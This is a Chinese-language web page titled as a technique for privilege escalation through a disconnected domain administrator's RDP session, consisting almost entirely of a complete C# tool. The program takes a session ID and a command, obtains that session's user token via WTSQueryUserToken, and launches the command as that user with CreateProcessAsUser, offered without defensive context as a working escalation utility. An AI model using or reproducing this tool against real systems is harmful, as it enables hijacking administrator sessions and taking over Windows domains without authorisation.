使用断开的域管理员RDP会话提权 - ToB企服应用市场:ToB评测及商务社交产业平台

using System;
using System.Runtime.InteropServices;
using System.ComponentModel;
using System.Security.Principal;
class Program
{
[DllImport("wtsapi32.dll", SetLastError = true)]
static extern bool WTSQueryUserToken(int sessionId, out IntPtr Token);
[DllImport("kernel32.dll", SetLastError = true)]
static extern bool CloseHandle(IntPtr hObject);
[DllImport("userenv.dll", SetLastError = true)]
static extern bool CreateEnvironmentBlock(out IntPtr lpEnvironment, IntPtr hToken, bool bInherit);
[DllImport("userenv.dll", SetLastError = true)]
static extern bool DestroyEnvironmentBlock(IntPtr lpEnvironment);
[DllImport("advapi32.dll", SetLastError = true)]
static extern bool CreateProcessAsUser(
IntPtr hToken,
string lpApplicationName,
string lpCommandLine,
IntPtr lpProcessAttributes,
IntPtr lpThreadAttributes,
bool bInheritHandles,
uint dwCreationFlags,
IntPtr lpEnvironment,
string lpCurrentDirectory,
ref STARTUPINFO lpStartupInfo,
out PROCESS_INFORMATION lpProcessInformation);
[StructLayout(LayoutKind.Sequential)]
struct STARTUPINFO
{
public int cb;
public string lpReserved;
public string lpDesktop;
public string lpTitle;
public uint dwX;
public uint dwY;
public uint dwXSize;
public uint dwYSize;
public uint dwXCountChars;
public uint dwYCountChars;
public uint dwFillAttribute;
public uint dwFlags;
public short wShowWindow;
public short cbReserved2;
public IntPtr lpReserved2;
public IntPtr hStdInput;
public IntPtr hStdOutput;
public IntPtr hStdError;
}
[StructLayout(LayoutKind.Sequential)]
struct PROCESS_INFORMATION
{
public IntPtr hProcess;
public IntPtr hThread;
public uint dwProcessId;
public uint dwThreadId;
}
static void Main(string[] args)
{
if (args.Length < 2)
{
Console.WriteLine("Usage: RdpProcessLauncher.exe <sessionId> <command>");
return;
}
int sessionId;
if (!int.TryParse(args[0], out sessionId))
{
Console.WriteLine("Invalid session ID");
return;
}
string command = args[1];
IntPtr userToken = IntPtr.Zero;
IntPtr envBlock = IntPtr.Zero;
try
{
// Get user token for the specified session
bool tokenResult = WTSQueryUserToken(sessionId, out userToken);
if (!tokenResult)
{
int error = Marshal.GetLastWin32Error();
throw new Win32Exception(error);
}
// Create environment block
bool envResult = CreateEnvironmentBlock(out envBlock, userToken, false);
if (!envResult)
{
int error = Marshal.GetLastWin32Error();
throw new Win32Exception(error);
}
// Prepare startup info
STARTUPINFO startupInfo = new STARTUPINFO();
startupInfo.cb = Marshal.SizeOf(startupInfo);
startupInfo.lpDesktop = "winsta0\\default";
PROCESS_INFORMATION processInfo = new PROCESS_INFORMATION();
// Create process as user
bool processResult = CreateProcessAsUser(
userToken,
null,
command,
IntPtr.Zero,
IntPtr.Zero,
false,
0x00000400, // CREATE_UNICODE_ENVIRONMENT
envBlock,
null,
ref startupInfo,
out processInfo);
if (!processResult)
{
int error = Marshal.GetLastWin32Error();
throw new Win32Exception(error);
}
Console.WriteLine("Process launched successfully. PID: {0}", processInfo.dwProcessId);
// Clean up process handles
CloseHandle(processInfo.hProcess);
CloseHandle(processInfo.hThread);
}
catch (Exception ex)
{
Console.WriteLine("Error: {0}", ex.Message);
}
finally
{
// Clean up resources
if (envBlock != IntPtr.Zero)
{
DestroyEnvironmentBlock(envBlock);
}
if (userToken != IntPtr.Zero)
{
CloseHandle(userToken);
}
}
}
}

复制代码